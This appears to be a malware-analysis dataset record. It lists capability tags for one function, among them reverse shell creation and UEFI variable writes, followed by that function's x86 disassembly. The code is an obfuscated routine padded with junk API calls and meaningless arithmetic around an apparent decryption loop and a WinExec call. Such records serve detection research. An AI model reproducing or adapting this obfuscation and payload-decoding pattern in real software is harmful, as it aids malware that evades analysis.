Function at 0x10005f00
Capabilities:
Connect pipe
Copy file
Create directory
Create process on windows
Create reverse shell
Create thread
Enumerate disk volumes
Enumerate gui resources
Get geographical location
Get memory capacity
Manipulate console buffer
Move file
Read .ini file
Read file on windows
Read pipe
Set console window title
Set current directory
Set file attributes
Set uefi variable
Terminate process
Terminate thread
Write pipe

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
cmp dword [0x10062ecc], 0x41486f2c
jne 0x100060d4
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RegisterApplicationRecoveryCallback]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThreadpoolIo]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FatalAppExitW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitOnceBeginInitialize]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteProcThreadAttributeList]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FreeLibraryWhenCallbackReturns]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationByHandleW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
push 0
call dword [sym.imp.KERNEL32.dll_FindCloseChangeNotification]
push 0
push 0
push 0
push 0
push 0x1006a280
push 0
push 0x1006a2a0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateFileTransactedW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_Beep]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaProximityNodeEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsW]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
xor eax, eax
xor edx, edx
xor esi, esi
xor edi, edi
xor ecx, ecx
push ebx
mov ebx, edi
lock cmpxchg8b qword [esi]
mov edi, ebx
pop ebx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumLanguageGroupLocalesW]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadUILanguage]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_DnsHostnameToComputerNameW]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
push 0
call dword [sym.imp.KERNEL32.dll_ClearCommBreak]
push 0
call dword [sym.imp.KERNEL32.dll_GetTimeZoneInformation]
mov dword [ebp - 0x14], 0
jmp 0x100060e6
mov eax, dword [ebp - 0x14]
add eax, 8
mov dword [ebp - 0x14], eax
mov ecx, dword [ebp - 0x14]
cmp ecx, dword [0x10062ed8]
jae 0x10006be9
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x14]
mov dword [ebp - 0x1c], edx
cmp dword [0x10062ecc], 0x2ff2cade
jne 0x10006220
push 0
call dword [sym.imp.KERNEL32.dll_GlobalAddAtomW]
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLCID]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsWow64Process]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_RaiseException]
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0xc]
lea edx, [ecx + eax + 4]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x38], 0
mov eax, dword [0x10062ecc]
xor ecx, ecx
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], ecx
cmp dword [ebp - 0x50], 0x9bacd361
jne 0x1000635b
cmp dword [ebp - 0x4c], 0
jne 0x1000635b
call dword [sym.imp.KERNEL32.dll_SetFileApisToOEM]
push 0
call dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryW]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
call dword [sym.imp.KERNEL32.dll_GetConsoleCP]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
push 0
call dword [sym.imp.KERNEL32.dll_Wow64EnableWow64FsRedirection]
push 0
push 0
push 0
push 0
push 0
push 0x1006a2c4
push 0
call dword [sym.imp.KERNEL32.dll_GetFileMUIPath]
push 0
call dword [sym.imp.KERNEL32.dll_GetUserGeoID]
push 0
call dword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateThread]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesExW]
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteProfileSectionW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateDirectoryTransactedW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsProcessInJob]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapFree]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSectionEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaAvailableMemoryNode]
mov edx, dword [ebp - 0x44]
mov dword [ebp - 0x3c], edx
push 0
mov eax, dword [ebp - 0x3c]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteConsoleOutputAttribute]
mov dword [ebp - 0x34], 4
mov dword [ebp - 0x10], 0
mov ecx, dword [ebp - 0x34]
lea edx, [ecx*4 + 0x1f]
mov dword [ebp - 0x10], edx
jmp 0x10006381
mov eax, dword [ebp - 0x10]
sub eax, 1
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0xffffffff
je 0x10006be4
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ecx]
mov dword [ebp - 0x38], edx
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
shl ecx, 6
mov dword [ebp - 0x18], ecx
cmp dword [0x10062ecc], 0x2e8d99d2
jne 0x10006471
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateJobObjectW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_UpdateProcThreadAttribute]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
push 0
call dword [sym.imp.KERNEL32.dll_SetDynamicTimeZoneInformation]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileShortNameW]
push 0
call dword [sym.imp.KERNEL32.dll_PowerCreateRequest]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCriticalSectionSpinCount]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileW]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalMemoryStatus]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push 0
call dword [sym.imp.KERNEL32.dll_SetEndOfFile]
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpoolCleanupGroup]
push 0
push 0x1006a2e8
push 0
call dword [sym.imp.KERNEL32.dll_IsValidNLSVersion]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStructW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReOpenFile]
mov edx, dword [ebp - 0x1c]
mov eax, dword [edx]
shr eax, 8
mov dword [ebp - 0x28], eax
mov dword [ebp - 4], 0x2ce
mov dword [ebp - 8], 0
mov ecx, dword [ebp - 4]
add ecx, 0x8f2
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov dword [ebp - 0xc], 0xd78
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
sub edx, 0x2b
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
add eax, 0x78d
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x148c
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x1a4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov esi, dword [ebp - 0x18]
xor esi, dword [ebp - 0x28]
mov eax, dword [ebp - 0x10]
xor edx, edx
div dword [ebp - 0x34]
push edx
mov ecx, dword [ebp + 8]
call fcn.100087d0
add esi, dword [eax]
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, 0x1772
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, 0x157b
mov dword [ebp - 4], edx
mov dword [ebp - 0x24], 0
jmp 0x1000654d
mov eax, dword [ebp - 0x24]
add eax, 1
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x5c
jge 0x1000655e
mov ecx, dword [ebp - 4]
add ecx, 1
mov dword [ebp - 4], ecx
jmp 0x10006544
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 0xc]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10006581
mov edx, dword [ebp - 0xc]
add edx, 1
mov dword [ebp - 0xc], edx
jmp 0x10006567
mov eax, dword [ebp - 4]
sub eax, 0x1234
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
cmp dword [0x10062ecc], 0x12e4f3c
jne 0x100066d2
push 0
call dword [sym.imp.KERNEL32.dll_GetMaximumProcessorCount]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessShutdownParameters]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadSelectorEntry]
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcessStop]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileValidData]
push 0
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
push 0
call dword [sym.imp.KERNEL32.dll_GlobalSize]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_QueryInformationJobObject]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileExW]
push 0
call dword [sym.imp.KERNEL32.dll_SetLocalTime]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
call dword [sym.imp.KERNEL32.dll_SetFileApisToANSI]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetLocaleInfoW]
push 0x1006a318
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadDescription]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForDebugEvent]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_PurgeComm]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call dword [sym.imp.KERNEL32.dll_GetCurrentThreadId]
xor edx, edx
xor eax, eax
lock xadd dword [eax], edx
push 0
call dword [sym.imp.KERNEL32.dll_CloseThreadpool]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WriteTapemark]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
mov ecx, dword [ebp - 8]
sub ecx, 0x86
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, 0x2cc
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x2690
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, 0x19d9
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x23a1
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x18de
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x1000674d
mov edx, dword [ebp - 4]
add edx, 1
mov dword [ebp - 4], edx
jmp 0x10006733
mov eax, dword [ebp - 4]
sub eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
add ecx, 0x1794
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, 0x1c18
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
cdq
mov ecx, 3
idiv ecx
test edx, edx
je 0x10006788
mov edx, dword [ebp - 8]
add edx, 1
mov dword [ebp - 8], edx
jmp 0x1000676e
mov eax, dword [ebp - 0x1c]
mov ecx, dword [eax]
add ecx, dword [ebp - 0x18]
mov dword [ebp - 0x28], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0xfb0
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
sub eax, 0x12e3
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
sub edx, 0x4ac
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
sub ecx, 0xb1
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x10]
mov dword [ebp - 0x18], edx
mov eax, dword [ebp - 8]
add eax, 0x20dc
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, 0x25b1
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
sub eax, 0x1010
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
add edx, dword [ebp - 4]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
add eax, dword [ebp - 0xc]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x25d6
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 0xc]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 8]
add ecx, dword [ebp - 4]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov dword [ebp - 0x2c], 0
jmp 0x100068a3
mov ecx, dword [ebp - 0x2c]
add ecx, 1
mov dword [ebp - 0x2c], ecx
cmp dword [ebp - 0x2c], 0x13
jge 0x100068b4
mov edx, dword [ebp - 8]
add edx, 5
mov dword [ebp - 8], edx
jmp 0x1000689a
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 4]
mov dword [ebp - 4], edx
cmp dword [0x10062ecc], 0x1f15066c
jne 0x1000699b
push 0
call dword [sym.imp.KERNEL32.dll_DisassociateCurrentThreadFromCallback]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleScreenBufferInfoEx]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadIdealProcessor]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
push 0
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
push 0
call dword [sym.imp.KERNEL32.dll_QueryUnbiasedInterruptTime]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLocaleName]
push 0
call dword [sym.imp.KERNEL32.dll_DebugActiveProcess]
call dword [sym.imp.KERNEL32.dll_GetLargePageMinimum]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileTransactedW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetNumaProcessorNode]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConvertThreadToFiberEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceNamesExW]
mov eax, dword [ebp - 8]
add eax, dword [ebp - 4]
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
sub edx, 0x1f1b
mov dword [ebp - 8], edx
mov eax, dword [ebp - 8]
add eax, 0x2594
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 8]
add ecx, 0xd74
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 4]
add edx, 0x24dc
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, 0x744
mov dword [ebp - 4], eax
mov dword [ebp - 0x30], 0
jmp 0x100069f9
mov ecx, dword [ebp - 0x30]
add ecx, 1
mov dword [ebp - 0x30], ecx
cmp dword [ebp - 0x30], 0x46
jge 0x10006a0a
mov edx, dword [ebp - 4]
add edx, 6
mov dword [ebp - 4], edx
jmp 0x100069f0
mov eax, dword [ebp - 8]
sub eax, 0x25b0
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 4]
add ecx, 0xa33
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, 0x2494
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 4]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 4]
add eax, dword [ebp - 4]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 4]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 8]
sub edx, 0x1ea3
mov dword [ebp - 8], edx
mov eax, dword [ebp - 4]
sub eax, 0x190f
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0xc]
mov dword [ebp - 4], edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
sub ecx, dword [ebp - 0x18]
mov edx, dword [ebp - 0x20]
mov dword [edx], ecx
mov eax, dword [ebp - 0x20]
mov ecx, dword [eax]
mov dword [ebp - 0x40], ecx
mov edx, dword [0x10062ecc]
xor eax, eax
mov dword [ebp - 0x58], edx
mov dword [ebp - 0x54], eax
cmp dword [ebp - 0x58], 0xe0e84128
jne 0x10006bcf
cmp dword [ebp - 0x54], 0
jne 0x10006bcf
push 0
push 0x1006a354
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
call dword [sym.imp.KERNEL32.dll_AcquireSRWLockExclusive]
call dword [sym.imp.KERNEL32.dll_GetOEMCP]
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ReadFileEx]
call dword [sym.imp.KERNEL32.dll_GetConsoleOutputCP]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenWaitableTimerW]
push 0
call dword [sym.imp.KERNEL32.dll_GetFirmwareType]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetThreadDescription]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadLocale]
push 0
call dword [sym.imp.KERNEL32.dll_FindNextChangeNotification]
push 0
call dword [sym.imp.KERNEL32.dll_GetStdHandle]
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LCMapStringW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetHandleInformation]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemLocalesEx]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
push 0
call dword [sym.imp.KERNEL32.dll_SetLastError]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_MoveFileExW]
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadStackGuarantee]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetProcessShutdownParameters]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleFontSize]
mov dword [ebp - 0x48], eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCommState]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x40]
mov dword [ecx], edx
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x38]
mov dword [eax], ecx
jmp 0x10006378
jmp 0x100060dd
pop edi
pop esi
mov esp, ebp
pop ebp
ret